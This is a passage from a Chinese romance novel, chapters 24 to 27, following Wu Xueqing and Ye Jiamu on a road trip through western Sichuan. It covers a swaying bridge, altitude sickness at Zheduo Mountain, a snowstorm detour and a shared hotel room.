他边说边大步往前走。 邬雪青感觉给他挂个小蜜蜂他就能当旅游团团长了。 桥在晃,汹涌澎湃的河水如同张开嘴的野兽,两侧木板宽大的间隙感觉稍不留意就能一脚踩空。 “叶嘉木……你能不能走慢点。”她声音有点抖。 叶嘉木和她已隔了几臂的距离,发觉她没跟上,他又笑着往回走,朝她伸出了手,“殿下,当年的勇士也要抓着铁链过桥,牵着我的手不算丢人。” 第24章 窄窄的木板不够两人并行,他的手掌将她手紧紧裹住,滚烫的热意驱散寒冷和些许的恐惧,她下意识反手又扣紧他手腕。 风自山谷外吹来,拂过两山,自山沿呼啸,河水冰冷,雪山融水汇集于宽阔河流,潺潺从脚下淌过。 不知是大风吹动,还是有人在作坏摇晃,桥面忽然抖得厉害。 邬雪青往前趔趄几步,一把揪住了他的衣服。 牵着小孩的老人弓着腰,将孩子推到一侧锁链边,拉紧了扶链。 发觉她不敢往前走了,叶嘉木也牵着她走到铁链旁,一只手扣住铁链,另一只手臂将她一把拥进怀里。 “别怕,”他的声音在她头顶响起,“有护网,不会掉下去的。” 她声音闷颤,“谁怕?只是这桥晃得站不稳……” 他沉沉地笑,善解人意道:“要是不想往前走了,我们现在回头。” 邬雪青沉默了一会儿,说:“来都来了,怎么可能回头,那不是白走了……” 胸腔振振的响动在她耳边,邬雪青脑袋抵着他肩膀,耳根泛红,伸手拧了他腰一下。 “嘶——”叶嘉木捏住她做坏的手,“怎么还恩将仇报?” “笑屁啊。”她低声咕哝。 他的手臂紧紧地圈住她,抬首看天,不自觉轻轻叹一声。 近处的天空是一望无际的蓝,远远的山脉上飘浮着低垂的云。 他温声说:“你看,今天的天多蓝。” 没听到她的回答,叶嘉木低头看她,视线相撞,她下意识躲闪。 叶嘉木盯紧她,脸上的笑意更深。 她一抬眼,又撞进了他眼睛里。 “你看什么啊?” “你躲什么?”他低下头来笑她。 她倏地抬起头来想瞪他,鼻尖兀然擦过他的唇,柔软、蜻蜓点水般的一碰,心脏骤跳,两相哑然。 “……不晃了,快走。” 她想将自己的手抽出来,把他推开,刚动一下,就被他紧紧地扣住了小臂,不许抽离。 他说:“我牵着你。” 跟在他身后,邬雪青几乎没有抬头往前看,摇摇晃晃的桥板和他稳持的步伐形成鲜明对比,奇异的,她那慌慌乱乱的心跳倏然缓和了。 晴空日和,两岸高山绵延,晃动的铁索桥上,回忆起来,她只记得紧扣着的手。 吃午饭时,邬雪青戳戳叶嘉木手肘,指了下另一边的纸巾,又翻过手心等他拿过来。 也不知道他是故意的还是无意的,下一秒他的手就搭在了她手心上。 对面三个人一顿狂咳。 邬雪青抽出手指,在他手背上打了一下,斜瞪他一眼:“纸啊!” 叶嘉木轻咳一声,指节掩住唇畔的笑意,拿过另一侧的纸巾放在了她面前。 不是……你们真的没谈吗?! “啊哈哈,这菜分量好大啊,大家都多吃菜吧。” 唐昆打着哈哈说。 下一刻,一块牛肉排骨放在了她碗里。 她转头看叶嘉木。他一本正经说:“多吃菜。” 吃过饭,开车回酒店收拾行李。 余光瞥见路边水果摊摆了一排排的绿色果子,邬雪青指着那些问叶嘉木:“那是释迦果吗?” “看着不像,我问问。” 他靠边停车,放下车窗,手肘撑着窗沿,问摊贩:“你好,卖的这是什么水果?” “仙人掌果。”摊贩说。 “好吃吗?” “甜得很,野生的,不是那种打药的,你们尝尝!” 摊贩麻利地抄起小刀削了半个皮,包着塑料袋从车窗里递给他。 叶嘉木捏着下面的皮,侧过身递给邬雪青吃。 见她伸手来拿,叶嘉木说:“扎手,你就这么吃。” 邬雪青便低头就着他的手咬了一小口,品了品,甜甜的,很清爽的口感。 “还可以。”她说。 “那来两斤吧,麻烦给我们挑好的。”叶嘉木和摊贩说。 “您放心,没有差的,我给你们洗洗。” 在摊贩挑果子的间隙,叶嘉木又将手里的仙人掌果往邬雪青面前递了递,“再吃 两口。” 她又咬了两口,吃完发现很多籽,拿纸巾包着吐了,摇头说:“我不吃了。” 叶嘉木转过手腕,就着她吃过的地方也咬了一口。 “这个我刚刚吃过了!”邬雪青说。 “不能浪费粮食。”他说。 邬雪青:“……” 他细品了品,评价道:“像有籽的火龙果和猕猴桃。” “如果没有籽就好了。”邬雪青说。 “那怎么不直接吃火龙果?” “……有道理。” 摊贩把称好的果子从车窗外递了进来,叶嘉木道了声谢,将袋子放到后座下方去。 见他把那半个果子吃一口就不吃了,邬雪青哼笑道:“不是说不浪费粮食吗?” 叶嘉木说:“扎嘴。” 回了酒店,他还一直在揉嘴唇,邬雪青问他:“怎么了?” “没事,就感觉嘴上扎了个小刺。” “我看看。” 借着玻璃窗透进的光,邬雪青稍稍踮脚仔细看他嘴唇,还真看见他嘴角有一根小小的毛刺。 那刺太小太不起眼,透明似的,非得借着一个反光的刁钻角度才看得见。 “你别动,我看到了,我给你拔了。”她拧着眉头,用手指在他嘴角轻轻拨了拨。 叶嘉木含着嘴唇,瓮瓮说:“小心,别再扎你手上。” “不会。” 她说着,想用指甲轻轻捻起那小毛刺拔下来,可还总捻不到。 叶嘉木微微弯着腰,垂眼看着她。 她凑得极近,连呼吸都打在他嘴唇上,他只要稍稍一低头,几乎就能碰到她的嘴唇。 他的喉结忍不住地滚动,下意识抿了抿嘴唇。 “哎呀你不要动!”她差点就捻到了,一下恼怒起来。 “我总要喘气吧。”他瓮瓮说。 “不许喘!” 漂亮的眼睛睨他一眼,不讲道理,像只随时要抬爪子挠人的小猫。 叶嘉木:“……” 邬雪青专心致志给他拔刺,眯着眼睛都快黏上去了,却感觉他的头一毫米、一毫米越来越低,唇离她越来越近。 她视线仍在小刺上,很温柔地说:“叶嘉木,你再近一下我就大耳刮抽你。” 他嘴角弯了一下。 邬雪青拽着他嘴角的一点小皮用力一拔,连皮带刺拔了下来。 他冷嘶一声。 捏着他嘴唇左右看看,她干脆说:“好了。” 叶嘉木直起身,按了按嘴角,感觉到刺痛,“殿下,这是公报私仇吗?” “那我把刺给你插回去。” “那大可不必。”他抓起她的手看了下,“没扎你手里去吧?” 她伸出手指在他衬衫上擦了两下。 他的手机铃声响起来了。 邬雪青从他掌心挣脱出手指。 叶嘉木看了眼来电人,按了静音,又揉揉邬雪青脑袋,“去收拾行李吧,收拾好了和我说。” 回了房间,他将电话回拨过去,先道:“邬姨,是我。” “小叶啊,刚刚在忙吗?” 邬玉瑾声音很温和。 “现在不忙了,是有什么事情要说吗?” “也没什么事,问问你们现在到哪里了?” “我们现在在泸定县,下午去理塘。”叶嘉木回答。 “行程这么赶,她跟得上吗?” 叶嘉木知道她的意思,笑笑,回答道:“雪青现在心情挺好的,之前在湖北,她还买了些特产寄回来,不知道您收到了吗?” 邬玉瑾高兴了些,“是吗?回头我问问家里阿姨。” “您身体怎么样了?恢复得可还好?” “很好,已经拆线了。”邬玉瑾又问,“Shirley她最近身体也没有什么不适吧?” 叶嘉木稍稍斟酌后,还是如实告知,“昨天雪青生理期来了,有些腹痛,我带她去看了中医,做了艾灸,开了些中药吃,今天应该是没怎么不适了。” “她生理期肚子痛?我都不知道。回头我把俞医生的联系方式给你,你把医生开的药方给她看一下。” 俞医生是邬家请的私人医疗顾问,已经有十来年了。 叶嘉木道:“您放心,我已经和俞医生联系过了,她说药方可以用。” 电话那边沉默了片刻,邬玉瑾短促笑一声,“小叶,这些年你对她的了解,比我还要多。” “从前您忙于工作,和雪青的联系也少。现在她回国了,您也正好术后要休息一段时间,等她回来后你们多相处多了解,会好的。” “希望吧。” 邬玉瑾轻轻叹了一口气。 出发去理塘的路上,邬雪青啃了一路果子。 叶嘉木把买来的仙人掌果削皮切好,够她一路打发时间了。 邬雪青看着电影,一边豌豆射手似的对着小垃圾桶噗噗吐籽。 这儿没有人盯着她仪态批评,她可以想怎么坐怎么坐,可以躺着,盘着腿,可以哈哈大笑。 “你听过康定情歌吗?”叶嘉木问。 “有点耳熟。”邬雪青说。 叶嘉木叩了叩方向盘,零帧起手,唱道:“跑马溜溜的山上,一朵溜溜的云哟——” 差点被籽呛到,邬雪青咳笑了起来。 “看,外面有牦牛。”他忽而指着窗外说。 邬雪青扭头看过去,见牧民赶着一群牦牛从草甸上走过。 她放下了车窗,呼啸的风从窗外吹进来,她将扎着长发的发绳解开,甩了甩头,尝到了一口青草气息的风。 “叶嘉木,山上有瀑布!” “去年我来这可没看到瀑布,你运气可真不错。”他看过远山银练,又侧目看她,目光柔和,“雪青,到了折多山,你就可以看到雪山了。” 她点点头,趴在窗口,新鲜地看窗外风景。 318国道蜿蜒漫长,骑行的旅人们弓着腰背,奋力踩着踏板爬坡奔向西藏。 一座山连着另一座山、一个坡连着另一个坡,有人自驾、有人骑行,连风也在自由地赶路。 第25章 过康巴市,折多山近在眼前。 进藏的车、大巴、货车,一点不少,路上堵得很,一个接一个的弯道也转得人两眼发昏。 堵得几乎寸步难行的地方,叶嘉木和邬雪青说:“前面马上就到折多山垭口了。” 邬雪青往前眺望,看见了前面几乎望不到边界的车队长龙,山坡上人不少,坡道围栏上还挂着彩色的经幡。 “垭口是什么地方?”她问。 叶嘉木道:“垭口就是山鞍位置,也就是通行的山口,属于藏区这边的说法,如果去新疆,就会叫达板。” 邬雪青点点头,又长知识了。 几百米的路堵了有接近二十分钟。 他们开进观景台内的停车区域,短暂休息一会儿。 邬雪青推门下车,一阵冷风迎面吹来,稍稍有些冷。 出发前叶嘉木建议她穿冲锋衣,说山上会冷,邬雪青拒绝了他的建议,这会儿默默低头将冲锋衣外套拉链拉起来。 她环顾了一下,看见了一块大石碑,上写着“西出折多”。 明明只相隔几天时间,但邬雪青感觉自己从炎热的夏天已经切换到了冬天来临的前奏。 大概是山上海拔高,所以格外冷一点吧。她这样想。 后车也停了下来,只下来了小梁一个人,还有两个人在车上萎靡不振。 在过康定市往折多山方向开的时候,方向阳和唐昆都有了些不同程度的高反。 唐昆是头晕,感觉后脑勺有点针扎的疼,中途赶紧和梁襄换了开车的位置。 方向阳严重一点,有点喘不上气,在驿站口的时候想呕吐。 “雪青,这里人多车多,你不要乱跑,我去看看那两个怎么样了。”叶嘉木招呼说。 她又不是小孩,还能不会看路吗? 邬雪青举起手机拍山上风景,没搭理他。 叶嘉木拿了两瓶可乐过去,问:“你们现在感觉怎么样了?” 唐昆吸了会儿氧,好点了,接过可乐说了声“谢谢”,说话条理还算清晰:“我现在好多了,就是稍微还有点头晕,没觉得头疼想吐 。” “你呢?”叶嘉木又问方向阳。 方向阳精神萎靡,声音很沙哑,但还是勉强打起精神说:“叶总,我也没事,刚刚吃了高原安,适应一阵就好了。” 这样的情况不能着急赶路,叶嘉木道:“我们在垭口这休息一会儿,如果你们感觉症状更严重了,我们马上下山去医院。” 知道高反严重性,小唐点头说:“好,我们听您安排。” “葡萄糖还有吗?”叶嘉木又问。 唐昆说:“喝了两支,还有一盒。” 叶嘉木道:“行,你们休息一会儿,但不能睡觉,把车门打开透透气。” 他回头找邬雪青,一眼没找到,环顾了一圈,在上山顶的坡道上看见她和梁襄正一前一后往山顶上走了。 那山坡叶嘉木是走过的,看着不远,走起来至少得个把小时。 折多山垭口近4300米,温度已经很低了。 她里面还穿着件裙子,就裹了件外套,风把她裙摆吹得扬起,露出白皙的小腿,她仿佛也不觉得冷,大步流星,竟走得比梁襄还快。 让殿下听话别乱跑,就和出门前交代比格别拆家一样,属于是多此一举。 叶嘉木叹口气,回车上拿了两瓶氧气,大步向他俩追过去。 邬雪青在半路就被叶嘉木拉住,他把氧气瓶塞给她,强硬地脱下外套系在她腰上,气得声音都在喘:“邬雪青,你不要命了,穿着裙子就上山?还不下去把裤子穿上!” 她敷衍一声:“下去就换。” 两侧的经幡在风的吹动下振振作响。 她转移话题,问叶嘉木:“那些彩色的布是做什么的?” “藏民祈福的。”叶嘉木紧跟在她身边,“你现在有没有什么不舒服?” “没有。”她说。 叶嘉木又问梁襄:“梁襄,你呢?” 梁襄平时就话少,笑笑,简单说:“还好。” “雪山在哪呢?”邬雪青好奇地四处张望。 一路开过来,或许还没到季节,只见树木由黄转绿,青山连绵,但要说雪山,那真是一点影子都没看着。 “到山顶就能看到对面贡嘎雪山了。”叶嘉木说。 这小山坡看起来不高,走起来真费劲。 走走停停,花了一个多小时才登顶。 今天是阴天,山顶天气不算很好,远处隐隐有些云雾遮挡。 一路爬上来,高原氧气稀薄,连叶嘉木也难免有些喘了。 邬雪青喘归喘,精神却很好,转了一圈,又背过身,手指遮着额头,向远眺望,隐隐看见了一道雪线。 “你说的什么什么雪山是那边吗?”她伸手指着问。 “对,那边就是贡嘎雪山,如果是冬季上山,雪色会从折多山绵延至贡嘎山。” 叶嘉木话说得有些慢,气息有点喘。 邬雪青拿着氧气瓶吸了两口,又把氧气瓶递给了叶嘉木,“要吗?” “不用。” 氧气瓶用多了会产生依赖性,后面的路程还远,他进藏尽量不用这东西。 梁襄已经不行了,气喘吁吁,一个劲地吸氧气。 叶嘉木说:“上都上来了,一个一个来,我给你们拍两张照片。” “行啊,谢谢叶总!” 一直没什么存在感的梁襄难得露出了开朗的笑容,拍过后,他道:“叶总,我给您和邬小姐拍一张合照吧。” 邬雪青嫌弃挪开步伐,“我才不和他拍。” 叶嘉木把手机递给梁襄,又一把捞住了她,拉着她胳膊捞回身边,道:“公主殿下,来都来了,配合一下,拍一张。” 邬雪青扭头不配合。 梁襄举着手机,说:“三、二、一……” 她转回头,看了眼镜头。 梁襄笑了笑,拍好后将手机给回叶嘉木,“叶总,您看看还要再拍几张吗?” 叶嘉木看了眼,又把照片给邬雪青看。 拍得还挺好的。 邬雪青点头说:“没想到你还挺会拍照。” 梁襄又笑:“因为以前经常给我女朋友拍。” 山顶风大,邬雪青里面就穿着一条裙子,叶嘉木说:“山也爬了,雪山也看了,差不多了,下去吧,小唐他们还在等。” “好。” 三人回到垭口,唐昆已经好些了,正下了车拿着氧气瓶在停车场附近溜达。 看见他们从山上下来,唐昆挥了挥手,走过来问:“山上怎么样,有雪吗?” “没雪,但能看到一点贡嘎雪山的雪。”梁襄说。 “小方现在怎么样?”叶嘉木问。 唐昆犹豫说:“刚刚他自己说好点了,但是……” 邬雪青先走到车边,拉开掩着的车门就看到方向阳正要死不活地趴在前座椅背上。 “方向阳,你还好吗?”她问。 听到她的声音,方向阳抬起头来,唇色有点发白,勉强笑笑:“我好多了。” 在怎么看也不像好多了。 邬雪青感觉他高反挺严重的,一回头正好看见叶嘉木过来,她皱眉小声说:“我感觉方向阳更严重了。” “方向阳,别逞强,高反不是捱着就能好的事。”叶嘉木一看他脸色就知道他现在越加严重了,他当机立断,“我送你回康定市区医院。” “不用,叶总,我真没事了。天气预报说折多山路段明天有暴风雪,我们今晚得过了折多山。” 叶嘉木不是在和他商量。 他起身和梁襄道:“小梁,你开我车带小唐和雪青先去新都桥,我送方向阳回康定医院。宁慢勿快,晚上我们新都桥汇合。” 唐昆看了眼时间,说:“叶总,现在已经五点多了,您这一来一回,加上堵车,至少要八九点才能到新都桥,晚上开过来恐怕不安全。” 梁襄脸色郑重:“今晚不走,明天就走不了了。” “梁襄说得对,川藏线我开过很多次,但梁襄没开过,你们天黑前一定要到新都桥,还有,切记保持车距,不超车不急刹,弯道不占道,安全第一。” 叶嘉木又看向邬雪青,他声音放缓了些,叮嘱道:“雪青,你现在跟他们先去新都桥,我们晚上汇合。” 邬雪青这一路都没关心过行程的事,就算叶嘉木和她提起,她左耳进右耳出,也没怎么琢磨过。反正有人安排,不用她开车,也不用她订酒店,车在哪停她就在哪休息,带队的人心里有谱就行。 忽然听到他们说什么暴风雪、封路,她完全不清楚这些事,一时有些惊怔。 对他们商量的结果,她也说不出什么其他意见来,她对路况什么的都不了解,总不能因为她胡乱出的主意耽搁整个队伍行程。 她没否定,叶嘉木便当她默认了。 三个人商量着就把行程定下了。 方向阳现在面无血色,刻不容缓,叶嘉木先开车回了康定。 梁襄开车带唐昆和邬雪青前往新都桥。 好在新都桥已经不远,不堵车的话一个小时内就能赶到。 路上邬雪青出奇地沉默。 唐昆精神好一点了,和梁襄说着后面行程的事情。 马上十月了,高原的冬天总是来得格外快。 秋冬交替,昼夜温差大,冷空气一来临,便轰轰烈烈带来了寒潮和暴风雪,一夜之间,所有山头便能换上白装。 唐昆和梁襄说:“梁哥,你要是开累了,就换我来开。” 梁襄道:“就一个小时,不至于。” 想想回康定的那两个人,唐昆有些犯愁:“也不知道叶总今晚什么点能过来,马上降温了,垭口晚上估计得堵得水泄不通。” 他们刚刚上山时路上已经堵得很长了,不过没有发生什么交通事故,因此虽然缓慢,但也算在计划时间内抵达了垭口。 邬雪青听他们俩有一搭没一搭复盘。 他们说,今天下午一点从泸定出发,如果一路不停,八点左 右就能到理塘,现在肯定不行,今晚只能在新都桥休息,加之今年冷空气来的格外早,后面的行程都得重新规划了。 她忽然想,如果她没有去爬那一个小时山,是不是他们能早点过垭口,叶嘉木也不会掉头送方向阳回康定? 车开着开着,忽然前面起了雾。 聊天的两个人都噤了声。 梁襄打开了双闪,双手紧紧握着方向盘。 唐昆趴在靠背中间,忧心忡忡地说:“这寒潮不会现在就来了吧?” 第26章 “邬小姐,你真的不吃晚饭吗?” 酒店的房门被叩了两下,唐昆在门外问。 邬雪青说:“真不用了,我不饿,你们去吃吧。” 已经晚上七点半了,他们留宿在新都桥的一家酒店内。 说是酒店,也就挂了个酒店的名号牌子,一整栋楼都脏脏旧旧的,连房间里都有股说不上来的潮臭气,反正邬雪青没住过条件这么“简朴”的酒店。 她推开窗通风。 窗外淅淅沥沥的,已经下起了小雨。 她撑着窗舷,叹了一口气。 已经过去好几个小时了,叶嘉木还没有赶上他们,手机也打不通。 邬雪青半个小时前给他发了一条“你到哪了?”现在他还没回。 等着等着,很快又九点了,依然没有叶嘉木的任何消息。 他车开到哪了,是不是路上又堵车了,难道是留在医院陪方向阳了? 邬雪青捱了许久,终于捱不住了,发了消息给方向阳:叶嘉木还在你那边吗? 方向阳倒是回得很快:他六点多就往回开了啊,还没回来吗? 邬雪青:还没有。 方向阳:Shirley,你别着急,堵车的话开三四个小时也正常的! 或许是下午爬山吹了冷风,邬雪青感觉小腹又坠痛了起来。 她脱了鞋子蜷在藤木椅子上,用手掌心压了压小腹,脸色有些白。 装中药的行李袋在后备箱里,车钥匙在梁襄手上。 邬雪青和梁襄不熟,也不想去找他。 干坐着也没有事干,邬雪青打开地图搜了一下康定市到她现在位置的距离。 77公里。 地图路线上有两块标红的路段。 她将地图放大,看到了两个“堵”字。 应该就是堵在了路上吧。 她支着下颚想。 听到楼下有男人话的声音,邬雪青立马穿上鞋,趴在窗口往下看。 不是叶嘉木,是几个中年男人将车停在门口,顶着小雨跑着进了屋檐下。 邬雪青听到他们在说:“国道上都结冰了,我看有人说撞了好几台车。” “哪个位置啊?” 一个老大哥拿出手机,点开短视频给人看,“你看就折多山这里,溜车撞了七八台车了。” “还好我们先开过来了,不然得堵到明天去。” “这是台越野车啊,后面这小车车头都撞扁了,遭罪咯!” 越野车? 邬雪青只听得到他们声音,伸长脖子也看不到人,坐不住,她又拨了电话给叶嘉木。 拨号音持续了三十多秒,突然通了,她一喜,没等那边先开口,便急匆匆道:“叶嘉木!你怎么样?” “雪青,你还没休息吗?” 他声音很平稳,倒是语气有些意外。 “你现在到哪了?”邬雪青没答反问。 叶嘉木说:“刚过垭口,现在在过来的路上了。” 听他语气,一切正常,邬雪青提着的心落了下去,抱怨道:“你怎么回事,刚刚给你打了好几个电话你居然都不接……” “刚才在山上没有信号,别担心,今晚下雨了,我开车会慢点,晚点就到了。” “谁担心你啊……”她嘟囔。 正说着,手机里忽然传出一声巨大的“砰”声。 惊得邬雪青差点把手机扔出去。 “叶嘉木?叶嘉木!” 她惊白了脸,连声喊。 “没事没事,别怕,我在呢,是前面有台车爆胎了。” 前面爆胎的小车画龙般左冲右撞地开了一段距离,堪堪在护栏前停了下来。 车上有小孩在嚎啕大哭。 过了会儿,叶嘉木看见从后座下来了一个抱着孩子的藏族女人。 叶嘉木解开了安全带,握起手机,先安抚邬雪青道:“别担心,我下去看看,待会打给你。” 邬雪青“诶”一声,话还没说完,就听那边没声音了。 电话挂了,她忍不住在房间里踱步起来。 前车爆胎了?那肯定又要堵一段时间了吧。 都说折多山那路段下雨结冰了,肯定不安全,他竟然还下车…… 早知道后面的路这么难就不来了!都怪他! 邬雪青搬起枕头狠揉了几下。 叶嘉木车开到新都桥时已经过了半夜12点了。 邬雪青睡不着,心不在焉地刷了一晚上电影。 意外之喜,竟然收到一条消息,是叶嘉木的,他说:我到酒店了,刚问了下前台,说没房间了,我去找别的酒店,明天来找你们汇合。 邬雪青飞快地回了一条:等一下。 她掀开被子,趿拉上鞋子,随意披了件外套,抽出房卡,往楼下跑去。 她发完那条就没信了,叶嘉木只好先等她回消息。 他倚在前台长桌前,额发微垂,拢着的眼皮有几分困倦,身上、腿上、手臂上都是泥点子。 邬雪青忍不住捂住了嘴。 听到旁边楼梯的响动,他转头看过来,就看见少女穿着一条粉色睡裙披着外套就跑下来,跑得急了,喘息着,胸口微微起伏,仰着头看他。 叶嘉木站直了身,皱起眉头,“怎么还专门跑下来了?” “没房间了吗?”她先转头问前台。 前台的阿姨说:“是的,晚上突然下雨,很多人都在新都桥这休息,今晚没有客房了。” “那你去我房间睡。”邬雪青又和叶嘉木说。 叶嘉木愣了一下,指了指自己,“我去你房间?” “唐昆和梁襄住在一间房间,他们那里肯定没有你睡的地方了,这个小镇就那么大,其他酒店也不一定还有房间。”邬雪青条理清晰。 “那你怎么睡?”叶嘉木说。 “我房间也是双人床。” 前台说:“如果要入住的话,麻烦把身份证给我登记一下。” 邬雪青走过来,趴在前台说:“那你登记一下他身份证,216房间。” 叶嘉木犹豫了一下,刚从钱包里掏出身份证,就被邬雪青一把抢过去递给前台。 前台将他身份信息输入电脑,又把身份证递回给他们,道:“好了。” 这是一家条件非常一般的酒店,比在泸定住得还简单些,就四层楼,还没有电梯。 邬雪青带着叶嘉木上了二楼,看了他几眼,疑惑问:“你怎么弄了一身泥?” “给人换胎,沾了点泥。”他说。 邬雪青刷开了房门,很惊讶:“就你碰到的那个爆胎的?你还会换胎?” 他说:“出来自驾总会遇到突发情况,久‘病’成医了。” 邬雪青将房卡插进取电开关,灯亮了起来。 很简单的酒店房间,进门处是浴室,里面就是两张双人床,一览无余。 邬雪青说:“我们来的时候就只剩双人房了,不过也幸好是双人房。” “你睡得还习惯吗?”叶嘉木问。 “睡不惯,”说起这个邬雪青就来气,她闷闷说,“睡不惯又能怎么办,这前不着村后不着店的地方,我还能跑吗?” 叶嘉木笑了,“这话说的,好像是被绑架了一样。” 她将换下来的衣服扔在一块,在藤椅上坐了下来,低头抓了抓小腿,声音更闷了,低低地说:“叶嘉木,是你把我带出来的,你要负责。” “对不起。”叶嘉木的声音软了下来,带着歉意说,“是我不好,把你带出来,却没有一直在你身边保护你,还把你交 给别人。” 他走到她身边,半蹲下身,握着她小腿看了看她腿上的红痕,“被蚊子咬了?” 她又闷闷地“嗯”一声。 他手肘搭在膝盖上,抬头看她,“晚上的药喝了吗?” 她摇头。 “我去拿药上来,你把药喝了就睡。”他说。 她点点头。 大概是从来没有住过这么差劲的环境,殿下整个人都蔫了,可怜又可爱。 叶嘉木想捏她脸颊,手伸到一半,想起自己手还没洗干净,又收了回去。 “我去拿药了,等喝了药再睡。”他又交代了一遍。 邬雪青再点头。 他起身出去找梁襄拿车钥匙,房间里又只有邬雪青了。 她垂眼盯着小腿,腿肚上仿佛还留有他掌心的温度,滚烫,让她下意识想往后退。 过了会儿,叶嘉木拿了中药、水壶还有换洗衣物上来。 邬雪青给他打开门,看着他忙来忙去,一下给她热中药,一下又去浴室放洗澡水。 “他们这里好像没有热水。”邬雪青说。 她本来也想洗澡,但怎么都放不出热水,于是只好简单擦一下作罢。 叶嘉木道:“我刚刚问了前台,热水24小时都有,不过他们这热水管道已经老化了,得放个几分钟才有热水。” 邬雪青坐在床位晃着小腿:“那我待会也要洗个澡。” “刚上高原不能洗澡,容易引起高反,过两天等适应了高原环境就可以洗了。”他说。 她不快:“那你怎么可以洗?” “川藏线我跑过很多次了,有经验,而且也只简单冲冲,把身上的泥洗一下。” “好吧。”邬雪青两只手捧着脸颊,叹口气,忧愁地像朵小蘑菇一样看着他。 叶嘉木把热好的中药剪个口子,递进她手里,“早点喝完,早点休息。” “哦。”她接过中药,深深地叹口气,认命地皱着眉头小口小口吮起来。 真可爱。 叶嘉木在她头上揉了揉,“我去洗澡了。” “唔。” 酒店的浴室是透明的玻璃,只有两面聊胜于无的帘子,即便把帘子放下来,也影影绰绰地能看到人影。 邬雪青可没有看人洗澡的癖好,只是一扭头不经意就看见了浴室里的人影,呛得她险些把中药咳出来。 他脱了衣服站在淋浴头顶喷下,仰着头捋了下头发。 身材挺好。 屁股……还挺翘。 她猛地转回头,用力吸了一口中药。 啧,好苦…… 叶嘉木洗完澡,吹干头发出来,邬雪青道:“我要刷牙了。” 他侧身让过,道:“地上有水,小心滑。” “知道。” 她一走进浴室,就看见了挂在毛巾架上的,他搓干的衣服。 她扒在门口,瞪大了眼睛问他:“叶嘉木,你把我衣服洗了?!” “顺手搓了下。”他说。 “你……你……” 她“你”了半天也没说出话。 叶嘉木面不改色:“又不是第一次洗了,一回生二回熟。” 邬雪青“歘”地缩回了头。 除了那天故意刁难他,这些天她住酒店都是等第二天让客房服务的阿姨帮她洗一下,给点小费,阿姨还是很乐意的。 可……叶嘉木,居然,把她的内衣和内裤都搓了! 她的衣服晾在中间,他的内裤晾在毛巾架侧边边,窗户打开通风了,也不知道这个天气一晚上能不能干。 邬雪青心不在焉地刷了刷牙,将牙刷杯放在一边时才发现他用过的杯子也摆在一旁。 两只白色牙刷杯,仿佛情侣一样…… 邬雪青,你清醒一点! 她拍了拍自己的脸,面色严肃地走出房间。 叶嘉木还没睡,正坐在茶几旁敲电脑。 “你还不睡吗?”她说。 叶嘉木没抬头说:“之前天气预报都是晴天,昨天气象局突然发了强降温提示,我得调整一下后面行程,也和另外团队那边沟通一下,你先睡吧。” 邬雪青打了个哈欠,“都已经一点多了,不能等天亮了再弄吗?” “如果后面是持续降温,那我们明天一早就必须要动身去墨脱了。” “好吧,那几点得起来?” “八点吧。”他说。 那现在就得睡了,不然她可不保证她明天八点能爬起来。 邬雪青设了个闹钟,躺进了被子里。 房间里的灯随之暗了下来,只留下了床头一盏小台灯。 这是她长大后第一次和异性在一个房间休息,大概因为这个人是叶嘉木,她甚至没什么警惕和紧张。 他手指叩击笔记本键盘的哒哒哒的,很轻,像催眠音效。 她那一整晚都晃晃悠悠的心平静了下来,不知不觉竟睡了过去。 叶嘉木忙完工作,已经两点多了,他也难掩疲惫,掩唇打了个哈欠,关上电脑准备去休息了,一起身就看见邬雪青睡得像头小猪一样。 手脚都伸在被子外,把被子将玩偶一样夹在怀里。 窗户还没有关。 他轻手轻脚地关了窗户,又走到床边,握起她的小臂,将被子给她盖好。 刚盖上没一秒,她的手又伸了出来,挠了挠脸颊。 叶嘉木呼吸一滞,顿了好一会儿,直到确认她没有醒。 他握起她手背,小心翼翼贴在唇边轻轻啄了一下。 晚安,公主殿下。 第27章 邬雪青醒来时,隔壁床已经没有人了。 酒店的白色被子铺得整整齐齐,连床尾巾也铺上了,就好像旁边从来没有人睡过一样。 她关了叮铃铃响的闹钟,掩着唇打了个哈欠,腿一动,不禁长“嘶”了一声。 要命,小腿好痛。 她掀开被子,非常缓慢地动了动腿。 感觉双腿像被人用大锤砸了两大锤,小腿肌肉酸痛发胀。 回忆半响,她想起来了,大概是昨天爬坡爬的。 太久没有运动的后果就是稍微爬个坡也能腰酸背痛腿抽筋。 她捏了捏腿肚,看了看房间里,叶嘉木的旅行袋和笔记本还在,但人不见了。 “叶嘉木!” 她喊了一声,没有人应。 她挪动双腿,艰难下床穿鞋,走进浴室看了一眼。 他不在房间里。 去吃早餐了?还是去找唐昆和梁襄了? 今天天气不明朗,虽然没有下雨了,但地面仍旧潮湿。 一推开窗,凉丝丝的风就吹了进来。 有点冷,她自觉换上了秋装。 针织衫和长裤,外搭一件风衣,系上腰带。 正化妆的时候,她听见了门开的声音。 “殿下,醒了吗?” 没看见她在床上,叶嘉木的声音顿了一下,“人呢?” 邬雪青的声音从浴室传出来,“在这里。” 他走到浴室门口,看见她正趴在镜子前认认真真地刷睫毛膏。 邬雪青余光瞥了他一眼,看见他单手插兜,并不挺拔地斜站在门口,像个痞子。 “你什么时候起来的?”她问。 叶嘉木倚住了门,侧头盯她,嘴上道:“七点,没吵醒你吧?” “没,你昨晚几点睡的?怎么能起这么早?” 叶嘉木突然短促地笑了一声。 邬雪青不明所以,疑惑问:“你笑什么?” “没什么,我睡好了才醒的。” 邬雪青撅起了唇,心情很不明媚,“要不是闹钟一直响,我一点都不想起。” 叶嘉木看见她将粉粉的油蜜一样的东西涂在了唇上,嘴唇立马变得粉嘟嘟的,嘭了起来。 他心里窃喜,觉得这一刻很幸福,像男朋友等待女朋友化好妆,然后出游。他暗自设置剧本,飘飘乎了一会儿。 发觉他一直没走,邬雪青疑惑道:“你要上洗手间吗?等一下吧,我马上用完了。” “不用。” “那你一直不走,盯着我看干什么?” 他伸手指指,问:“你涂在嘴巴上的那个是什么?” 她举起那支护唇精华,“这个 吗?护唇的,你不觉得在这里嘴巴很干吗?” 他咂咂嘴,煞有介事,“好像是有点。” “你等着。” 邬雪青在化妆袋里翻了翻,找出了一盒新的,还没拆开的唇霜。 她把盒子拆开,把那一罐唇霜随手递给了叶嘉木,“没用过的,给你了。” 叶嘉木看到了盖子上LAMER的标志,这品牌他认识,小时候把妈妈的面霜当固体胶玩,把下班回来的秦斓女士气得脑瓜子嗡嗡的。 “挺贵的吧,就给我了?”他晃晃。 “不贵啊,不过我就带了这一个,你弄丢了我可没有新的给你了。” 他拧开盖子小狗一样凑近闻了闻,问:“这真是唇膏?不是什么面霜吧?” 